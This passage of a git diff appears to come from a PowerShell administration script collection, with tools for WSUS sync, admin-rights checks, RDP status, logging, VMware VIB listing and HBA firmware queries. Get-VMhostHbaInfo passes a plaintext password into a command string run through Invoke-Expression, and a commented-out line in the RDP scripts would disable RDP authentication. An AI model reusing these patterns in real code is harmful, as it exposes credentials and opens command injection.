+.PARAMETER Credential + A "pscredential" that will be used to connect to the remote computer(s) +.EXAMPLE + Sync-WsusClient + "localhost - Done!" +.EXAMPLE + Sync-WsusClient server1, server2, server3, server4 + "server2 - Done!" + "server1 - Done!" + "server4 - Done!" + "server3 - Done!" +.EXAMPLE + Sync-WsusClient server1, server2 -Credential admin + (enter your credential and then...) + "server2 - Done!" + "server1 - Done!" +.NOTES + Here's one place where it came from: http://pleasework.robbievance.net/howto-force-really-wsus-clients-to-check-in-on-demand/ + Roger P Seekell, (2019), 9-13-2019 +#> +Param( + [Parameter(ValueFromPipeline=$true, + ValueFromPipelineByPropertyName=$true)] + [string[]]$ComputerName = 'localhost', + [pscredential]$Credential = $null +) +process { + #this script block will run on each computer + $scriptBlock = { + try { + $updateSession = New-Object -com "Microsoft.Update.Session" + $null = $updateSession.CreateUpdateSearcher().Search($criteria).UPdates #I don't want to see them + wuauclt /reportnow + "$env:computername - Done!" + } + catch { + Write-Error "Sync unsuccessful on $env:computername : $_" + } + }#end script block + + $splat = @{"ComputerName" = $ComputerName; "ScriptBlock" = $scriptBlock} + + if ($Credential -ne $null) { + $splat += @{"Credential" = $Credential} + } + + Invoke-Command @splat #run with the two or three parameters above +}#end process + +}#end function diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 new file mode 100644 index 00000000..d95e80c3 --- /dev/null +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -0,0 +1,25 @@ +function Test-IsLocalAdministrator { + <# +.SYNOPSIS + Function to verify if the current user is a local Administrator on the current system +.DESCRIPTION + Function to verify if the current user is a local Administrator on the current system +.EXAMPLE + Test-IsLocalAdministrator + + True +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin +#> + [CmdletBinding()] + PARAM() + try { + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file diff --git a/TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 b/TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 deleted file mode 100644 index c633c4f2..00000000 --- a/TOOL-Test-RemoteDesktop/Test-RemoteDesktop.ps1 +++ /dev/null @@ -1,39 +0,0 @@ -function Test-RemoteDesktop -{ - <# - .SYNOPSIS - Function to check if RDP is enabled - .DESCRIPTION - Function to check if RDP is enabled - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - #> - -PARAM( - [String[]]$ComputerName - ) - FOREACH ($Computer in $ComputerName) - { - TRY{ - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - ComputerName = $Computer - NameSpace = "root\cimv2\TerminalServices" - } - # Enable Remote Desktop - [boolean](Get-WmiObject -Class Win32_TerminalServiceSetting @Splatting).AllowTsConnections - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null - } - } - CATCH{ - Write-Warning -Message "Something wrong happened" - Write-Warning -MEssage $Error[0].Exception.Message - } - }#FOREACH - -}#Function \ No newline at end of file diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 new file mode 100644 index 00000000..d713de64 --- /dev/null +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -0,0 +1,49 @@ +function Test-RemoteDesktopIsEnabled { + <# +.SYNOPSIS + Function to check if RDP is enabled + +.DESCRIPTION + Function to check if RDP is enabled + +.EXAMPLE + Test-RemoteDesktopIsEnabled + + Test if Remote Desktop is enabled on the current machine + +.EXAMPLE + Test-RemoteDesktopIsEnabled -ComputerName SERVER01,SERVER02 + + Test if Remote Desktop is enabled on the remote machine SERVER01 and SERVER02 + +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin +#> + + + PARAM( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -Computer $Computer -count 1 -quiet) { + $Splatting = @{ + ComputerName = $Computer + NameSpace = "root\cimv2\TerminalServices" + } + # Enable Remote Desktop + [boolean](Get-WmiObject -Class Win32_TerminalServiceSetting @Splatting).AllowTsConnections + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + }#FOREACH + +}#Function \ No newline at end of file diff --git a/TOOL-Write-Log/TOOL-Write-Log.ps1 b/TOOL-Write-Log/TOOL-Write-Log.ps1 deleted file mode 100644 index 1a7ad388..00000000 --- a/TOOL-Write-Log/TOOL-Write-Log.ps1 +++ /dev/null @@ -1,33 +0,0 @@ -function Write-Log -{ -[CmdletBinding()] - Param ( - [Parameter()] - $Path="", - $LogName = "$(Get-Date -f 'yyyyMMdd').log", - - [Parameter(Mandatory=$true)] - $Message = "", - - [Parameter()] - [ValidateSet('INFORMATIVE','WARNING','ERROR')] - $Type = "INFORMATIVE", - $Category - ) - BEGIN { - IF (-not(Test-Path -Path $(Join-Path -Path $Path -ChildPath $LogName))){ - New-Item -Path $(Join-Path -Path $Path -ChildPath $LogName) -ItemType file - } - - } - PROCESS{ - TRY{ - "$(Get-Date -Format yyyyMMdd:HHmmss) [$TYPE] [$category] $Message" | Out-File -FilePath (Join-Path -Path $Path -ChildPath $LogName) -Append - } - CATCH{ - Write-Error -Message "Could not write into $(Join-Path -Path $Path -ChildPath $LogName)" - Write-Error -Message "Last Error:$($error[0].exception.message)" - } - } - -} \ No newline at end of file diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 0c46cccb..b74d5784 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -1,187 +1,160 @@ -<# +<# .DESCRIPTION This Script retrieve the VIB information on all the VMware Host .PARAMETER AllVib - This is the default parameter to retrieve all the VIBs information + This is the default parameter to retrieve all the VIBs information .PARAMETER VIBName - Specifies a specific VIB Name + Specifies a specific VIB Name .PARAMETER VIBVendor - Specifies a specific VIB Vendor + Specifies a specific VIB Vendor .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -AllVib + VMWARE-HOST-List_VIB.ps1 -AllVib .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -VibName "net-e1000e" -Verbose + VMWARE-HOST-List_VIB.ps1 -VibName "net-e1000e" -Verbose .EXAMPLE - VMWARE-HOST-List_VIB.ps1 -VibVendor "Dell" -Verbose + VMWARE-HOST-List_VIB.ps1 -VibVendor "Dell" -Verbose .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> -[CmdletBinding(DefaultParameterSetName="All")] +[CmdletBinding(DefaultParameterSetName = "All")] PARAM ( - [parameter(Mandatory = $true)] - $Credential, - [parameter(Mandatory = $true)] - $Vcenter, - [Parameter(mandatory=$true,ParameterSetName = "All")] - [Switch]$AllVib, - [Parameter(mandatory=$true,ParameterSetName = "VIBName")] - $VibName, - [Parameter(mandatory=$true,ParameterSetName = "VIBVendor")] - $VibVendor + [parameter(Mandatory = $true)] + [pscredential] + $Credential, + [parameter(Mandatory = $true)] + $Vcenter, + [Parameter(mandatory = $true, ParameterSetName = "All")] + [Switch]$AllVib, + [Parameter(mandatory = $true, ParameterSetName = "VIBName")] + $VibName, + [Parameter(mandatory = $true, ParameterSetName = "VIBVendor")] + $VibVendor ) -BEGIN -{ - TRY - { - # Verify VMware Snapin is loaded - IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) - { - Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." - Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin - } - - # Verify VMware Snapin is connected to at least one vcenter - IF (-not ($global:DefaultVIServer.count -gt 0)) - { - Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." - $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" - - IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') - { - Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - ELSE - { - Connect-VIServer -Server $Vcenter -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - } - } - CATCH - { - Write-Warning -Message "Can't Connect to the Vcenter Server $vcenter" - Write-Warning -Message $Error[0].Exception.Message - } +BEGIN { + TRY { + # Verify VMware Snapin is loaded + IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) { + Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." + Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin + } + + # Verify VMware Snapin is connected to at least one vcenter + IF (-not ($global:DefaultVIServer.count -gt 0)) { + Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." + $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" + + IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') { + Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + ELSE { + Connect-VIServer -Server $Vcenter -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer + } + } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } +} +PROCESS { + TRY { + $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object -FilterScript { $_.ConnectionState -eq "Connected" } + + IF ($PSBoundParameters['AllVib']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vibs + $ESXCLI.software.vib.list() | + ForEach-Object -Process { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop + + # Output Current Object + New-Object -TypeName PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH { + Throw $_ + } + } + } + IF ($PSBoundParameters['VibVendor']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vib from vendor $vibvendor + $ESXCLI.software.vib.list() | Where-Object -FilterScript { $_.Vendor -eq $VibVendor } | + ForEach-Object + { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop + + # Output Current Object + New-Object -TypeName PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH { + Throw $_ + } + } + } + IF ($PSBoundParameters['VibName']) { + Foreach ($CurrentVMhost in $VMHosts) { + TRY { + # Exposes the ESX CLI functionality of the current host + $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name + # Retrieve Vib with name $vibname + $ESXCLI.software.vib.list() | Where-Object -FilterScript { $_.Name -eq $VibName } | + ForEach-Object + { + $VIB = $_ + $Prop = [ordered]@{ + 'VMhost' = $CurrentVMhost.Name + 'ID' = $VIB.ID + 'Name' = $VIB.Name + 'Vendor' = $VIB.Vendor + 'Version' = $VIB.Version + 'Status' = $VIB.Status + 'ReleaseDate' = $VIB.ReleaseDate + 'InstallDate' = $VIB.InstallDate + 'AcceptanceLevel' = $VIB.AcceptanceLevel + }#$Prop + + # Output Current Object + New-Object -TypeName PSobject -Property $Prop + }#FOREACH + }#TRY + CATCH { + Throw $_ + } + } +} +} +CATCH { + throw $_ } -PROCESS -{ - TRY - { - $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object { $_.ConnectionState -eq "Connected" } - - IF ($PSBoundParameters['AllVib']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vibs - $ESXCLI.software.vib.list() | - ForEach-Object { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop - - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - IF ($PSBoundParameters['VibVendor']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vib from vendor $vibvendor - $ESXCLI.software.vib.list() | Where-object { $_.Vendor -eq $VibVendor } | - ForEach-Object - { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop - - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - IF ($PSBoundParameters['VibName']) - { - Foreach ($CurrentVMhost in $VMHosts) - { - TRY - { - # Exposes the ESX CLI functionality of the current host - $ESXCLI = Get-EsxCli -VMHost $CurrentVMhost.name - # Retrieve Vib with name $vibname - $ESXCLI.software.vib.list() | Where-object { $_.Name -eq $VibName } | - ForEach-Object - { - $VIB = $_ - $Prop = [ordered]@{ - 'VMhost' = $CurrentVMhost.Name - 'ID' = $VIB.ID - 'Name' = $VIB.Name - 'Vendor' = $VIB.Vendor - 'Version' = $VIB.Version - 'Status' = $VIB.Status - 'ReleaseDate' = $VIB.ReleaseDate - 'InstallDate' = $VIB.InstallDate - 'AcceptanceLevel' = $VIB.AcceptanceLevel - }#$Prop - - # Output Current Object - New-Object PSobject -Property $Prop - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "Something wrong happened with $($CurrentVMhost.name)" - Write-Warning -Message $Error[0].Exception.Message - } - } - } - } - CATCH - { - Write-Warning -Message "Something wrong happened in the script" - IF ($ErrorGetVMhost) { Write-Warning -Message "Couldn't retrieve VMhosts" } - Write-Warning -Message $Error[0].Exception.Message - } } diff --git a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 index 809fe18f..1118d039 100644 --- a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 +++ b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 @@ -1,250 +1,229 @@ -Function Get-VMhostHbaInfo -{ -<# +Function Get-VMhostHbaInfo { + <# .SYNOPSIS - The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. + The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. .DESCRIPTION - The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. + The function Get-VMHostHBAInfo is gathering HBA cards information using PowerCli cmdlets and SSH connection to get additional details. .PARAMETER VMHost - Specify the VMhost to query + Specify the VMhost to query .PARAMETER Username - Specify the Username account to use to connect via putty (plink.exe) - + Specify the Username account to use to connect via putty (plink.exe) + .PARAMETER Password - Specify the Username account's password to use to connect via putty (plink.exe) - + Specify the Username account's password to use to connect via putty (plink.exe) + .PARAMETER PlinkPath - Specify the plink.exe full path. Default is "C:\Program Files (x86)\PuTTY\plink.exe" + Specify the plink.exe full path. Default is "C:\Program Files (x86)\PuTTY\plink.exe" .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -PlinkPath "C:\Program Files (x86)\PuTTY\plink.exe" - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -PlinkPath "C:\Program Files (x86)\PuTTY\plink.exe" + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -Verbose - - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving General Information ... - VERBOSE: 6/10/2014 12:38:51 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution - VERBOSE: PROCESS - - Status is Powered On - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... - VERBOSE: 6/10/2014 12:38:52 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution - VERBOSE: PROCESS - vmhost01.fx.lab - Output Result - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba2 - HbaWWN : 10:00:00:00:c9:a5:44:a8 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... - VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... - VERBOSE: 6/10/2014 12:38:53 PM Get-View Started execution - VERBOSE: 6/10/2014 12:38:54 PM Get-View Finished execution - VERBOSE: PROCESS - vmhost01.fx.lab - Output Result - - HostName : vmhost01.fx.lab - HostProduct : VMware ESXi 5.1.0 build-1157734 - HbaDevice : vmhba3 - HbaWWN : 10:00:00:00:c9:a5:44:a9 - HbaDriver : lpfc820 - HbaModel : LPe11000 4Gb Fibre Channel Host Adapter - HbaFirmwareVersion : 2.82X4 (ZS2.82X4) - HWModel : ProLiant DL365 G5 - - VERBOSE: END - End of Get-VMhostHbaInfo - + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -Verbose + + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving General Information ... + VERBOSE: 6/10/2014 12:38:51 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution + VERBOSE: PROCESS - - Status is Powered On + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... + VERBOSE: 6/10/2014 12:38:52 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution + VERBOSE: PROCESS - vmhost01.fx.lab - Output Result + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba2 + HbaWWN : 10:00:00:00:c9:a5:44:a8 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA information ... + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving HBA Advance information - checking SSH Service... + VERBOSE: 6/10/2014 12:38:53 PM Get-View Started execution + VERBOSE: 6/10/2014 12:38:54 PM Get-View Finished execution + VERBOSE: PROCESS - vmhost01.fx.lab - Output Result + + HostName : vmhost01.fx.lab + HostProduct : VMware ESXi 5.1.0 build-1157734 + HbaDevice : vmhba3 + HbaWWN : 10:00:00:00:c9:a5:44:a9 + HbaDriver : lpfc820 + HbaModel : LPe11000 4Gb Fibre Channel Host Adapter + HbaFirmwareVersion : 2.82X4 (ZS2.82X4) + HWModel : ProLiant DL365 G5 + + VERBOSE: END - End of Get-VMhostHbaInfo + .EXAMPLE - Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword | Export-CSV HBAInformation.csv - + Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword | Export-CSV HBAInformation.csv + .INPUTS - System.String + System.String .OUTPUTS - PSObject + PSObject .NOTES - Twitter: @lazywinadm - WWW: lazywinadmin.com - - VERSION HISTORY - 1.0 Original version of this script is from vmdude.fr (http://www.vmdude.fr/en/scripts-en/hba-firmware-version/) - 2.0 Converted to a reusable function + Twitter: @lazywinadmin + WWW: lazywinadmin.com + + VERSION HISTORY + 1.0 Original version of this script is from vmdude.fr (http://www.vmdude.fr/en/scripts-en/hba-firmware-version/) + 2.0 Converted to a reusable function #> - - - [CmdletBinding()] - PARAM ( - [Parameter( - Mandatory = $true, - ValueFromPipeline = $true)] - [String] $VMhost, - [Parameter()] - [ValidateScript({ Test-path -Path $_ -PathType Leaf })] - [string] $PlinkPath = "C:\Program Files (x86)\PuTTY\plink.exe", - [Parameter( - HelpMessage = "Enter the ESXi account used for SSH connection/command.", - Mandatory = $true)] - [string] $Username, - [Parameter( - HelpMessage = "Enter the ESXi account's password.", - Mandatory = $true)] - [string] $Password - ) - BEGIN - { - TRY - { - # Verify VMware Snapin is loaded - IF (-not (Get-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction 'SilentlyContinue')) - { - Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." - Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin - } - - # Verify VMware Snapin is connected to at least one vcenter - IF (-not ($global:DefaultVIServer.count -gt 0)) - { - Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." - Connect-VIServer -Server (Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter") -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer - } - } - CATCH - { - - IF ($ErrorBeginAddPssnapin) - { - Write-Warning -Message "BEGIN - VMware Snapin VMware.VimAutomation.Core does not seem to be available" - Write-Error -message $Error[0].Exception.Message - } - IF ($ErrorBeginConnectViServer) - { - Write-Warning -Message "BEGIN - Couldnt connect to the Vcenter" - Write-Error -message $Error[0].Exception.Message - } - } - } - PROCESS - { - TRY - { - Write-verbose -Message "PROCESS - $Vmhost - Retrieving General Information ..." - $hostsview = Get-View -ViewType HostSystem -Property ("runtime", "name", "config", "hardware") -Filter @{ "Name" = "$VMhost" } -ErrorAction Stop -ErrorVariable ErrorProcessGetView - - IF ($hostsview) - { - IF ($hostsview.runtime.PowerState -match "poweredOn") - { - Write-verbose -Message "PROCESS - $($hostview.name) - Status is Powered On" - $esx = $hostsview | where-object { $_.runtime.PowerState -match "poweredOn" } - FOREACH ($hba in ($esx.Config.StorageDevice.HostBusAdapter | Where-Object { $_.GetType().Name -eq "HostFibreChannelHba" })) - { - Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA information ..." - $line = "" | Select-Object -Property HostName, HostProduct, HbaDevice, HbaWWN, HbaDriver, HbaModel, HbaFirmwareVersion, HWModel - $line.HostName = $esx.name - $line.HostProduct = $esx.config.product.fullName - $line.HbaDevice = $hba.device - $line.HbaWWN = ([regex]::matches("{0:x}" -f $hba.PortWorldWideName, '.{2}') | Foreach-object { $_.value }) -join ':' - $line.HbaDriver = $hba.driver - $line.HbaModel = $hba.model - $line.HWModel = $esx.hardware.systemInfo.model - - - Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA Advance information - checking SSH Service..." - IF (((Get-View -ViewType HostSystem -ErrorAction Stop -ErrorVariable ErrorProcessGetViewTypeService -Filter @{ "Name" = $($ESX.name) }).config.service.service |where-object { $_.key -eq 'tsm-ssh' }).running) - { - if ($hba.driver -match "lpfc") - { - $remoteCommand = "head -9 /proc/scsi/lpfc*/* | grep -B1 $($line.HbaWWN) | grep -i 'firmware version' | sed 's/Firmware Version:\{0,1\} \(.*\)/\1/'" - } - elseif ($hba.driver -match "qla") - { - $remoteCommand = "head -8 /proc/scsi/qla*/* | grep -B2 $($hba.device) | grep -i 'firmware version' | head -1 | sed 's/.*Firmware version \(.*\), Driver version.*/\1/'" - } - $tmpStr = [string]::Format('& "{0}" {1} "{2}"', $PlinkPath, "-ssh " + $Username + "@" + $esx.Name + " -pw $Password", $remoteCommand + ";exit") - - #Running plink.exe - $line.HbaFirmwareVersion = Invoke-Expression $tmpStr - } - ELSE - { - Write-Warning -Message "PROCESS - $($esx.name) - SSH Server is not enabled" - $line.HbaFirmwareVersion = "" - } - - Write-Verbose -Message "PROCESS - $($esx.name) - Output Result" - Write-Output $line - }#FOREACH ($hba in ($esx.Config - }#IF ($hostsview.runtime.PowerState -match "poweredOn") - ELSE - { - Write-verbose -Message "PROCESS - Host: $($hostview.name) - Powered Off" - } - } #IF HOSTVIEW - ELSE - { - Write-Verbose -Message "PROCESS - Can't find any host" - } - }#TRY - CATCH - { - Write-Warning -Message "PROCESS - Something Wrong happened" - IF 